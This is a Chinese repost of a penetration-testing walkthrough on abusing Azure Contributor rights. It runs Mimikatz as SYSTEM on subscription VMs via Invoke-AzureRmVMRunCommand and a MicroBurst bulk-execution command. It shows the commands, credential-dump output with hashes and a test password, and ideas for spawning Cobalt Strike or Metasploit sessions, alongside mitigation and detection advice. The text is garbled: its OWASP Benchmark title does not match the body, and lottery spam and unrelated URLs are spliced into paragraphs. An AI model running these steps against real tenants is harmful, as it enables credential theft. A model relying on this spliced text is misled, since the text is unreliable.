OWASP Benchmark的搭建和使用

前言

假設當前你正在進行某項滲透測試任務,其中Azure基礎架構也包含在你的測試範圍內,並且你恰好可以訪問Azure訂閱上一個具有“貢獻者(Contributor)”權限的域帳戶。雖說在實際場景中,貢獻者權限並沒有這麼容易獲取到。但在我的滲透測試工作中,我也經常看到貢獻者權限會被分發給一些開發人員。如果你夠幸運的話,一些管理員可能會添加域用戶組作爲訂閱的貢獻者。或者,我們也可以假設是從低權限用戶一步步提升到貢獻者帳戶的。xise

此時,我們可以嘗試收集可用憑據轉儲配置數據,並嘗試進一步的訪問訂閱中的其他帳戶(所有者/域管理員)。出於本文的目的,讓我們假設只讀選項已被我們用盡,並且我們仍然被某個特權用戶所困,該用戶不允許我們轉向其他訂閱(或內部域)。

攻擊虛擬機

針對虛擬機的攻擊,我們可以做一些有影響力的測試並pull down VHD文件快照,但我想沒人會願意去下載100多GB的磁盤映像。讓我們使用現有的工具嘗試在VM上執行命令。在本示例環境中,假設沒有任何的VM被公開,並且你也沒有開放任何防火牆端口包括RDP或其他遠程管理協議。http://caidaome.com/

即使沒有遠程管理協議,我們也可以通過幾種不同的方式在Azure環境中執行代碼。你可以使用Azure Automation(自動化)在Azure VM上運行命令,但是本文我們將重點關注Invoke-AzureRmVMRunComman命令(AzureRM模塊的一部分)。

該命令允許具有“Contributor”權限的任何人,在訂閱中的任何Azure VM上以NT Authority\System權限運行PowerShell腳本

運行單個命令

從PowerShell中的AzureRM會話運行此命令,該會話使用Contributor帳戶進行身份驗證。你可以使用Login-AzureRmAccount命令對Azure進行身份驗證。騰訊分分彩

Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

參數分解:

 

ResourceGroupName – VM資源組

 

VMName – VM的名稱

 

CommandId – 要在Azure中運行的存儲類型的命令。

“RunPowerShellScript”允許我們上傳和運行PowerShell腳本。

 

 

ScriptPath – 你要運行的PowerShell PS1文件的路徑。

你可以使用Get-AzureRmVM命令獲取VMName和ResourceGroupName。

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name

ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test

在這個例子中,我在Invoke-Mimikatz.ps1文件的末尾添加了一個額外行(Invoke-Mimikatz),以便在導入後運行該函數。以下是VM上的Invoke-Mimikatz.ps1腳本的運行示例(沒有登錄真實帳戶)。

PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Value[0]        : 
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       :   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##.  
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */
 
mimikatz(powershell) # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : NetSPI-Test
Domain            : WORKGROUP
SID               : S-1-5-20         
        msv :
         [00000003] Primary
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * Password : waza1234/ 
mimikatz(powershell) # exit 
Bye!   
Value[1] : Code : ComponentStatus/StdErr/succeeded 
Level : Info 
DisplayStatus : Provisioning succeeded 
Message : 
Status : Succeeded 
Capacity : 0 
Count : 0

運行多個命令

我已將Invoke-AzureRmVMBulkCMD添加到了MicroBurst,以允許針對訂閱中的多個VM執行腳本。使用該命令,我們可以針對整個訂閱,特定資源組或單個主機列表運行命令。

你可以在此處獲取到MicroBurst – https://github.com/NetSPI/MicroBurst

在我的演示中,我將在我的測試訂閱中對所有(5)個VM運行Mimikatz,並將腳本的輸出寫入到一個日誌文件。

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription
Are you Sure You Want To Proceed: (Y/n):
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206)
VERBOSE: Script Execution Completed in 98 seconds

20181204090052.png

在5個VM上運行Mimikatz的總時長爲7分14秒。單從效率上看並不理想(見下文),但卻很實用。由於時間的原因我並沒有創建多線程,但如果有人願意幫我完成,那麼歡迎隨時向我發送pull request

其他想法

出於演示目的,我在所有VM上運行了Mimikatz。除此之外,你可能需要考慮其他的PowerShell選項:

 

Spawn Cobalt Strike,Empire 或 Metasploit sessions

 

搜索敏感文件

 

在一個VM上運行域信息收集腳本,並使用輸出來定位其他特定VM以執行代碼

性能問題

注意,以上操作均爲在實驗環境中完成。如果你選擇在現實場景中使用,那麼請記住一點:並非所有Azure區域或VM映像都是以相同的方式進行響應的。在我的測試當中我發現某些區域和VM會更適合運行這些命令,而在非美國的Azure區域則出現了命令無法執行使用等問題。

因此,在實際測試使用當中,你可能會遇到各種本文未提及的問題。但在大多數情況下,我對美國地區和標準的Windows Server 2012映像都很滿意。在我的測試中,Invoke-Mimikatz.ps1腳本通常需要大約30-60秒才能運行。記住,每次執行都必須將腳本上傳到VM。

緩解措施及檢測

作爲管理員應該正確分配所有者和貢獻者的權限,因爲丟失貢獻者權限就相當於拿下所有虛擬機的系統權限。

想要減少貢獻者執行這些命令的權限,請爲你的貢獻者創建一個新角色,並限制用戶的Microsoft.Compute/virtualMachines/runCommand/action權限。http://tatawed.com/

另外,你可以留意“Run Command on Virtual Machine”日誌條目來發現該問題。你可以爲此設置警報,除非Invoke-AzureRmVMRunCommand是VM管理過程中不可或缺的一部分,否則應該很容易被檢測到當有人使用這個命令時。

以下設置將在任何人嘗試使用該命令(成功或失敗)時通知你。你還可以將該警報的範圍擴展到訂閱中的所有VM

alertLogic.png

最後,如果你對該腳本有任何的疑問或改進建議,歡迎隨時通過MicroBurst Github頁面與我們取得聯繫!

 *參考來源:netspi,FB小編secist編譯,轉載請註明來自FreeBuf

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章